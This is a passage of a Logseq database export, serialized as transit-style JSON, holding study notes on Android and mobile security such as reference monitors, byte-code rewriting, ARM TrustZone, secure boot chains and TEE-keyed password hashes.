Callee-Sitelogseq____",536878168]],[logseq____"^15logseq____",[924,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[924,logseq____"^Flogseq____",945,536878168]],[logseq____"^15logseq____",[924,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[924,logseq____"^Vlogseq____",944,536878168]],[logseq____"^15logseq____",[924,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[924,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536878168]],[logseq____"^15logseq____",[924,logseq____"^Jlogseq____",[],536878168]],[logseq____"^15logseq____",[924,logseq____"^;logseq____",logseq____"~u67bd79bc-44c2-41f3-8443-3b28550e331flogseq____",536878168]],[logseq____"^15logseq____",[925,logseq____"^Qlogseq____",logseq____"Application layer solutions do not have sufficient privilegeslogseq____",536878168]],[logseq____"^15logseq____",[925,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[925,logseq____"^Flogseq____",934,536878168]],[logseq____"^15logseq____",[925,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[925,logseq____"^Vlogseq____",913,536878168]],[logseq____"^15logseq____",[925,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[925,logseq____"^;logseq____",logseq____"~u67bd79bc-a94e-4c9a-9ccf-7fb435856197logseq____",536878168]],[logseq____"^15logseq____",[926,logseq____"^Qlogseq____",logseq____"Dedicated user-space security server (kernel alone cannot implement rules covering ICC, e.g., two-hop Intent delivery)logseq____",536878168]],[logseq____"^15logseq____",[926,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[926,logseq____"^Flogseq____",912,536878168]],[logseq____"^15logseq____",[926,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[926,logseq____"^Vlogseq____",912,536878168]],[logseq____"^15logseq____",[926,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[926,logseq____"^;logseq____",logseq____"~u67bd79bc-4787-4c9a-b4c3-74adea22b605logseq____",536878168]],[logseq____"^15logseq____",[927,logseq____"^Qlogseq____",logseq____"### Caller-sitelogseq____",536878168]],[logseq____"^15logseq____",[927,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[927,logseq____"^Flogseq____",924,536878168]],[logseq____"^15logseq____",[927,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[927,logseq____"^Vlogseq____",944,536878168]],[logseq____"^15logseq____",[927,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[927,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536878168]],[logseq____"^15logseq____",[927,logseq____"^Jlogseq____",[],536878168]],[logseq____"^15logseq____",[927,logseq____"^;logseq____",logseq____"~u67bd79bc-65ef-4b64-a1dd-0f0bf0cd1bf7logseq____",536878168]],[logseq____"^15logseq____",[928,logseq____"^Qlogseq____",logseq____"Deals with reflectionlogseq____",536878168]],[logseq____"^15logseq____",[928,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[928,logseq____"^Flogseq____",917,536878168]],[logseq____"^15logseq____",[928,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[928,logseq____"^Vlogseq____",924,536878168]],[logseq____"^15logseq____",[928,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[928,logseq____"^;logseq____",logseq____"~u67bd79bc-c3a4-492d-b3bd-3d3ffb8e5adalogseq____",536878168]],[logseq____"^15logseq____",[929,logseq____"^Qlogseq____",logseq____"Allows app developers to specify components that other apps can communicate with (based on package info, e.g., signature key, version etc.)logseq____",536878168]],[logseq____"^15logseq____",[929,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[929,logseq____"^Flogseq____",916,536878168]],[logseq____"^15logseq____",[929,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[929,logseq____"^Vlogseq____",932,536878168]],[logseq____"^15logseq____",[929,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[929,logseq____"^;logseq____",logseq____"~u67bd79bc-b0e1-40ac-8bc8-b189a7e29d14logseq____",536878168]],[logseq____"^15logseq____",[930,logseq____"^Qlogseq____",logseq____"Many places to instrumentlogseq____",536878168]],[logseq____"^15logseq____",[930,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[930,logseq____"^Flogseq____",927,536878168]],[logseq____"^15logseq____",[930,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[930,logseq____"^Vlogseq____",927,536878168]],[logseq____"^15logseq____",[930,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[930,logseq____"^;logseq____",logseq____"~u67bd79bc-58e9-4875-985c-1836ed5c2df0logseq____",536878168]],[logseq____"^15logseq____",[931,logseq____"^Qlogseq____",logseq____"Possible for end-userlogseq____",536878168]],[logseq____"^15logseq____",[931,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[931,logseq____"^Flogseq____",946,536878168]],[logseq____"^15logseq____",[931,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[931,logseq____"^Vlogseq____",927,536878168]],[logseq____"^15logseq____",[931,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[931,logseq____"^;logseq____",logseq____"~u67bd79bc-3377-4d59-bc4e-3127b078ee1flogseq____",536878168]],[logseq____"^15logseq____",[932,logseq____"^Qlogseq____",logseq____"## Saintlogseq____",536878168]],[logseq____"^15logseq____",[932,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[932,logseq____"^Flogseq____",944,536878168]],[logseq____"^15logseq____",[932,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[932,logseq____"^Vlogseq____",855,536878168]],[logseq____"^15logseq____",[932,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[932,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878168]],[logseq____"^15logseq____",[932,logseq____"^Jlogseq____",[],536878168]],[logseq____"^15logseq____",[932,logseq____"^;logseq____",logseq____"~u67bd79bc-f5da-4d75-a675-0523845433fflogseq____",536878168]],[logseq____"^15logseq____",[933,logseq____"^Qlogseq____",logseq____"## Applicationslogseq____",536878168]],[logseq____"^15logseq____",[933,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[933,logseq____"^Flogseq____",913,536878168]],[logseq____"^15logseq____",[933,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[933,logseq____"^Vlogseq____",855,536878168]],[logseq____"^15logseq____",[933,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[933,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878168]],[logseq____"^15logseq____",[933,logseq____"^Jlogseq____",[],536878168]],[logseq____"^15logseq____",[933,logseq____"^;logseq____",logseq____"~u67bd79bc-e6d3-46db-82f0-ac52b8be7ceelogseq____",536878168]],[logseq____"^15logseq____",[934,logseq____"^Qlogseq____",logseq____"Only start services etc. under runtime constraints, e.g., device locationlogseq____",536878168]],[logseq____"^15logseq____",[934,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[934,logseq____"^Flogseq____",947,536878168]],[logseq____"^15logseq____",[934,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[934,logseq____"^Vlogseq____",913,536878168]],[logseq____"^15logseq____",[934,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[934,logseq____"^;logseq____",logseq____"~u67bd79bc-51ff-42f6-9838-a4fbbafad848logseq____",536878168]],[logseq____"^15logseq____",[935,logseq____"^Qlogseq____",logseq____"Dynamic Access Control (revocation and re-granting of permissions)logseq____",536878168]],[logseq____"^15logseq____",[935,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[935,logseq____"^Flogseq____",933,536878168]],[logseq____"^15logseq____",[935,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[935,logseq____"^Vlogseq____",933,536878168]],[logseq____"^15logseq____",[935,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[935,logseq____"^;logseq____",logseq____"~u67bd79bc-adba-41bf-a837-8749e3bce7ablogseq____",536878168]],[logseq____"^15logseq____",[936,logseq____"^Qlogseq____",logseq____"Dynamically loaded codelogseq____",536878168]],[logseq____"^15logseq____",[936,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[936,logseq____"^Flogseq____",930,536878168]],[logseq____"^15logseq____",[936,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[936,logseq____"^Vlogseq____",927,536878168]],[logseq____"^15logseq____",[936,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[936,logseq____"^;logseq____",logseq____"~u67bd79bc-8ebe-4d4a-a9a2-f41a90cb05c1logseq____",536878168]],[logseq____"^15logseq____",[937,logseq____"^Qlogseq____",logseq____"Mediate operations, e.g., monitor program behaviour, redirect control flow, take action based on policylogseq____",536878168]],[logseq____"^15logseq____",[937,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[937,logseq____"^Flogseq____",944,536878168]],[logseq____"^15logseq____",[937,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[937,logseq____"^Vlogseq____",944,536878168]],[logseq____"^15logseq____",[937,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[937,logseq____"^;logseq____",logseq____"~u67bd79bc-f5f2-40f3-9102-dc149b5a7146logseq____",536878168]],[logseq____"^15logseq____",[938,logseq____"^Qlogseq____",logseq____"Few places to instrumentlogseq____",536878168]],[logseq____"^15logseq____",[938,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[938,logseq____"^Flogseq____",924,536878168]],[logseq____"^15logseq____",[938,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[938,logseq____"^Vlogseq____",924,536878168]],[logseq____"^15logseq____",[938,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[938,logseq____"^;logseq____",logseq____"~u67bd79bc-d2f5-463b-862f-c7ca9e706afelogseq____",536878168]],[logseq____"^15logseq____",[939,logseq____"^Qlogseq____",logseq____"Androidlogseq____'s same-origin model only allows updates from same origin, i.e., same signature as original app: Byte-code rewriting breaks same-origin model as application code is instrumented with inline codelogseq____",536878168]],[logseq____"^15logseq____",[939,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[939,logseq____"^Flogseq____",922,536878168]],[logseq____"^15logseq____",[939,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[939,logseq____"^Vlogseq____",911,536878168]],[logseq____"^15logseq____",[939,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[939,logseq____"^;logseq____",logseq____"~u67bd79bc-24b2-4f88-a464-bd4f47e61ad9logseq____",536878168]],[logseq____"^15logseq____",[940,logseq____"^Qlogseq____",logseq____"Handle security-relevant operationslogseq____",536878168]],[logseq____"^15logseq____",[940,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[940,logseq____"^Flogseq____",937,536878168]],[logseq____"^15logseq____",[940,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[940,logseq____"^Vlogseq____",944,536878168]],[logseq____"^15logseq____",[940,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[940,logseq____"^;logseq____",logseq____"~u67bd79bc-001f-4bcc-9594-c6f123563fd5logseq____",536878168]],[logseq____"^15logseq____",[941,logseq____"^Qlogseq____",logseq____"Inlined reference monitor shares same process space as untrusted monitored code (malicious code can disable/modify reference monitor)logseq____",536878168]],[logseq____"^15logseq____",[941,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[941,logseq____"^Flogseq____",911,536878168]],[logseq____"^15logseq____",[941,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[941,logseq____"^Vlogseq____",911,536878168]],[logseq____"^15logseq____",[941,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[941,logseq____"^;logseq____",logseq____"~u67bd79bc-b85f-4271-a97d-a1295b785753logseq____",536878168]],[logseq____"^15logseq____",[942,logseq____"^Qlogseq____",logseq____"Communication partly runs over [[Binder IPC]] oder syscalls via/to Kernellogseq____",536878168]],[logseq____"^15logseq____",[942,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[942,logseq____"^Flogseq____",913,536878168]],[logseq____"^15logseq____",[942,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[942,logseq____"^Vlogseq____",913,536878168]],[logseq____"^15logseq____",[942,logseq____"^Ulogseq____",413,536878168]],[logseq____"^15logseq____",[942,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[942,logseq____"^Hlogseq____",413,536878168]],[logseq____"^15logseq____",[942,logseq____"^;logseq____",logseq____"~u67bd79bc-1f5b-4762-877d-30271f96a9e1logseq____",536878168]],[logseq____"^15logseq____",[943,logseq____"^Qlogseq____",logseq____"Should be performed at OS/Middleware layerlogseq____",536878168]],[logseq____"^15logseq____",[943,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[943,logseq____"^Flogseq____",919,536878168]],[logseq____"^15logseq____",[943,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[943,logseq____"^Vlogseq____",919,536878168]],[logseq____"^15logseq____",[943,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[943,logseq____"^;logseq____",logseq____"~u67bd79bc-f210-4598-84d1-57c13fd5e18elogseq____",536878168]],[logseq____"^15logseq____",[944,logseq____"^Qlogseq____",logseq____"## Implementationlogseq____",536878168]],[logseq____"^15logseq____",[944,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[944,logseq____"^Flogseq____",933,536878168]],[logseq____"^15logseq____",[944,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[944,logseq____"^Vlogseq____",855,536878168]],[logseq____"^15logseq____",[944,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[944,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878168]],[logseq____"^15logseq____",[944,logseq____"^Jlogseq____",[],536878168]],[logseq____"^15logseq____",[944,logseq____"^;logseq____",logseq____"~u67bd79bc-1af5-46d8-9ebe-ba899dea150clogseq____",536878168]],[logseq____"^15logseq____",[945,logseq____"^Qlogseq____",logseq____"Inject libraries into processes or apps, pre-loading to inject libslogseq____",536878168]],[logseq____"^15logseq____",[945,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[945,logseq____"^Flogseq____",940,536878168]],[logseq____"^15logseq____",[945,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[945,logseq____"^Vlogseq____",944,536878168]],[logseq____"^15logseq____",[945,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[945,logseq____"^;logseq____",logseq____"~u67bd79bc-34ae-48da-a775-fff3ef6e0a7blogseq____",536878168]],[logseq____"^15logseq____",[946,logseq____"^Qlogseq____",logseq____"Does not trivially deal with reflectionlogseq____",536878168]],[logseq____"^15logseq____",[946,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[946,logseq____"^Flogseq____",936,536878168]],[logseq____"^15logseq____",[946,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[946,logseq____"^Vlogseq____",927,536878168]],[logseq____"^15logseq____",[946,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[946,logseq____"^;logseq____",logseq____"~u67bd79bc-946f-4010-9ea7-9ee48ecb284clogseq____",536878168]],[logseq____"^15logseq____",[947,logseq____"^Qlogseq____",logseq____"Add Monitors into end-pointslogseq____",536878168]],[logseq____"^15logseq____",[947,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[947,logseq____"^Flogseq____",942,536878168]],[logseq____"^15logseq____",[947,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[947,logseq____"^Vlogseq____",913,536878168]],[logseq____"^15logseq____",[947,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[947,logseq____"^;logseq____",logseq____"~u67bd79bc-3b8c-4e2a-8aaf-053284e60720logseq____",536878168]],[logseq____"^15logseq____",[949,logseq____"^Qlogseq____",logseq____"## Architectureslogseq____",536878170]],[logseq____"^15logseq____",[949,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[949,logseq____"^Flogseq____",975,536878170]],[logseq____"^15logseq____",[949,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[949,logseq____"^Vlogseq____",854,536878170]],[logseq____"^15logseq____",[949,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[949,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878170]],[logseq____"^15logseq____",[949,logseq____"^Jlogseq____",[],536878170]],[logseq____"^15logseq____",[949,logseq____"^;logseq____",logseq____"~u67bd79bc-022f-404e-a535-2a92c40f9e40logseq____",536878170]],[logseq____"^15logseq____",[950,logseq____"^Qlogseq____",logseq____"Load Code from on-chip ROM to on-chip RAM and derive new key\\nlogseq.order-list-type:: numberlogseq____",536878197]],[logseq____"^15logseq____",[950,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[950,logseq____"^Flogseq____",982,536878200]],[logseq____"^15logseq____",[950,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[950,logseq____"^Vlogseq____",966,536878170]],[logseq____"^15logseq____",[950,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[950,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536878197]],[logseq____"^15logseq____",[950,logseq____"^Jlogseq____",[logseq____"^14logseq____",[logseq____"^19logseq____"]],536878197]],[logseq____"^15logseq____",[950,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536878197]],[logseq____"^15logseq____",[950,logseq____"^;logseq____",logseq____"~u67bd79bc-a557-4b56-ab1f-025491d04f11logseq____",536878170]],[logseq____"^15logseq____",[951,logseq____"^Qlogseq____",logseq____"## TrustZone A\\nid:: 67bcb625-9bbb-4256-a567-07ba13eec231logseq____",536878170]],[logseq____"^15logseq____",[951,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[951,logseq____"^Flogseq____",949,536878170]],[logseq____"^15logseq____",[951,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[951,logseq____"^Vlogseq____",854,536878170]],[logseq____"^15logseq____",[951,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[951,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67bcb625-9bbb-4256-a567-07ba13eec231logseq____",logseq____"^17logseq____",2],536878170]],[logseq____"^15logseq____",[951,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536878170]],[logseq____"^15logseq____",[951,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67bcb625-9bbb-4256-a567-07ba13eec231logseq____"],536878170]],[logseq____"^15logseq____",[951,logseq____"^;logseq____",logseq____"~u67bcb625-9bbb-4256-a567-07ba13eec231logseq____",536878170]],[logseq____"^15logseq____",[952,logseq____"^Qlogseq____",logseq____"Integrity of operationlogseq____",536878170]],[logseq____"^15logseq____",[952,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[952,logseq____"^Flogseq____",969,536878170]],[logseq____"^15logseq____",[952,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[952,logseq____"^Vlogseq____",979,536878170]],[logseq____"^15logseq____",[952,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[952,logseq____"^;logseq____",logseq____"~u67bd79bc-0cd5-4d52-9df3-211ea1c4351clogseq____",536878170]],[logseq____"^15logseq____",[953,logseq____"^Qlogseq____",logseq____"((67bcb625-9bbb-4256-a567-07ba13eec231)) (Phones): Access restricted to vendor and OS software with limited API access to developerslogseq____",536878170]],[logseq____"^15logseq____",[953,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[953,logseq____"^Flogseq____",949,536878170]],[logseq____"^15logseq____",[953,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[953,logseq____"^Vlogseq____",949,536878170]],[logseq____"^15logseq____",[953,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[953,logseq____"^Hlogseq____",951,536878170]],[logseq____"^15logseq____",[953,logseq____"^;logseq____",logseq____"~u67bd79bc-e2e7-4d5d-a242-097218ddafcalogseq____",536878170]],[logseq____"^15logseq____",[954,logseq____"^Qlogseq____",logseq____"TrustZone M (Sensors): tailored to IoT deviceslogseq____",536878170]],[logseq____"^15logseq____",[954,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[954,logseq____"^Flogseq____",953,536878170]],[logseq____"^15logseq____",[954,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[954,logseq____"^Vlogseq____",949,536878170]],[logseq____"^15logseq____",[954,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[954,logseq____"^;logseq____",logseq____"~u67bd79bc-5d34-45fc-b537-3a8d6ed7a61alogseq____",536878170]],[logseq____"^15logseq____",[955,logseq____"^Qlogseq____",logseq____"Single world vs multiple worldlogseq____",536878170]],[logseq____"^15logseq____",[955,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[955,logseq____"^Flogseq____",965,536878170]],[logseq____"^15logseq____",[955,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[955,logseq____"^Vlogseq____",979,536878170]],[logseq____"^15logseq____",[955,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[955,logseq____"^;logseq____",logseq____"~u67bd79bc-be86-49dd-bef1-cb31b1ac0d45logseq____",536878170]],[logseq____"^15logseq____",[956,logseq____"^Qlogseq____",logseq____"logseq____",536878170]],[logseq____"^15logseq____",[956,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[956,logseq____"^Flogseq____",977,536878170]],[logseq____"^15logseq____",[956,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[956,logseq____"^Vlogseq____",951,536878170]],[logseq____"^15logseq____",[956,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[956,logseq____"^;logseq____",logseq____"~u67bd79bc-786d-4815-aa30-ab3b36473bb1logseq____",536878170]],[logseq____"^15logseq____",[957,logseq____"^Qlogseq____",logseq____"Allows for unlocking (install custom images): Only OS signed with embedded verification key can start if lockedlogseq____",536878170]],[logseq____"^15logseq____",[957,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[957,logseq____"^Flogseq____",983,536878237]],[logseq____"^15logseq____",[957,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[957,logseq____"^Vlogseq____",980,536878170]],[logseq____"^15logseq____",[957,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[957,logseq____"^;logseq____",logseq____"~u67bd79bc-048d-4733-98df-9aefcd0a564elogseq____",536878170]],[logseq____"^15logseq____",[958,logseq____"^Qlogseq____",logseq____"Hosts mobile security features (SIMLock, IMEI protection, Android KeyMaster)logseq____",536878170]],[logseq____"^15logseq____",[958,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[958,logseq____"^Flogseq____",970,536878170]],[logseq____"^15logseq____",[958,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[958,logseq____"^Vlogseq____",951,536878170]],[logseq____"^15logseq____",[958,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[958,logseq____"^;logseq____",logseq____"~u67bd79bc-e06a-44e2-8989-b6cd4cc7a576logseq____",536878170]],[logseq____"^15logseq____",[959,logseq____"^Qlogseq____",logseq____"Chain of trust from hardware bootloader to bootloader to boot partition and other verified partitionslogseq____",536878170]],[logseq____"^15logseq____",[959,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[959,logseq____"^Flogseq____",980,536878170]],[logseq____"^15logseq____",[959,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[959,logseq____"^Vlogseq____",980,536878170]],[logseq____"^15logseq____",[959,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[959,logseq____"^;logseq____",logseq____"~u67bd79bc-03c9-4bf6-93a5-207ce987d0a7logseq____",536878170]],[logseq____"^15logseq____",[961,logseq____"^Qlogseq____",logseq____"logseq____",536878170]],[logseq____"^15logseq____",[961,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[961,logseq____"^Flogseq____",972,536878170]],[logseq____"^15logseq____",[961,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[961,logseq____"^Vlogseq____",972,536878170]],[logseq____"^15logseq____",[961,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[961,logseq____"^;logseq____",logseq____"~u67bd79bc-62f3-4216-bdee-03c0f070aa4alogseq____",536878170]],[logseq____"^15logseq____",[962,logseq____"^Qlogseq____",logseq____"Key cannot be stolen =logseq____> complexity of breaking CMAC == Complexity of breaking CMAClogseq____",536878170]],[logseq____"^15logseq____",[962,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[962,logseq____"^Flogseq____",967,536878170]],[logseq____"^15logseq____",[962,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[962,logseq____"^Vlogseq____",964,536878170]],[logseq____"^15logseq____",[962,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[962,logseq____"^;logseq____",logseq____"~u67bd79bc-90a0-4c92-a9fa-5b7252d5300dlogseq____",536878170]],[logseq____"^15logseq____",[963,logseq____"^Qlogseq____",logseq____"Configure address controller\\nlogseq.order-list-type:: numberlogseq____",536878213]],[logseq____"^15logseq____",[963,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[963,logseq____"^Flogseq____",950,536878170]],[logseq____"^15logseq____",[963,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[963,logseq____"^Vlogseq____",966,536878170]],[logseq____"^15logseq____",[963,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[963,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536878213]],[logseq____"^15logseq____",[963,logseq____"^Jlogseq____",[logseq____"^14logseq____",[logseq____"^19logseq____"]],536878213]],[logseq____"^15logseq____",[963,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536878213]],[logseq____"^15logseq____",[963,logseq____"^;logseq____",logseq____"~u67bd79bc-e471-4559-b3f5-59143370715alogseq____",536878170]],[logseq____"^15logseq____",[964,logseq____"^Qlogseq____",logseq____"## Keyed-password hashes with TEElogseq____",536878170]],[logseq____"^15logseq____",[964,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[964,logseq____"^Flogseq____",979,536878170]],[logseq____"^15logseq____",[964,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[964,logseq____"^Vlogseq____",854,536878170]],[logseq____"^15logseq____",[964,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[964,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878170]],[logseq____"^15logseq____",[964,logseq____"^Jlogseq____",[],536878170]],[logseq____"^15logseq____",[964,logseq____"^;logseq____",logseq____"~u67bd79bc-aa32-43eb-9dd4-a28d7026a83flogseq____",536878170]],[logseq____"^15logseq____",[965,logseq____"^Qlogseq____",logseq____"Access to secretslogseq____",536878170]],[logseq____"^15logseq____",[965,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[965,logseq____"^Flogseq____",952,536878170]],[logseq____"^15logseq____",[965,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[965,logseq____"^Vlogseq____",979,536878170]],[logseq____"^15logseq____",[965,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[965,logseq____"^;logseq____",logseq____"~u67bd79bc-1c99-4402-8364-3658d368ff98logseq____",536878170]],[logseq____"^15logseq____",[966,logseq____"^Qlogseq____",logseq____"### Secure Boot:logseq____",536878170]],[logseq____"^15logseq____",[966,logseq____"^Ologseq____",logseq____"^16logseq____",536878170]],[logseq____"^15logseq____",[966,logseq____"^Flogseq____",974,536878170]],[logseq____"^15logseq____",[966,logseq____"^Xlogseq____",854,536878170]],[logseq____"^15logseq____",[966,logseq____"^Vlogseq____",951,536878170]],[logseq____"^15logseq____",[966,logseq____"^Ulogseq____",854,536878170]],[logseq____"^15logseq____",[966,logseq____"^?logseq____",[logseq____"^ 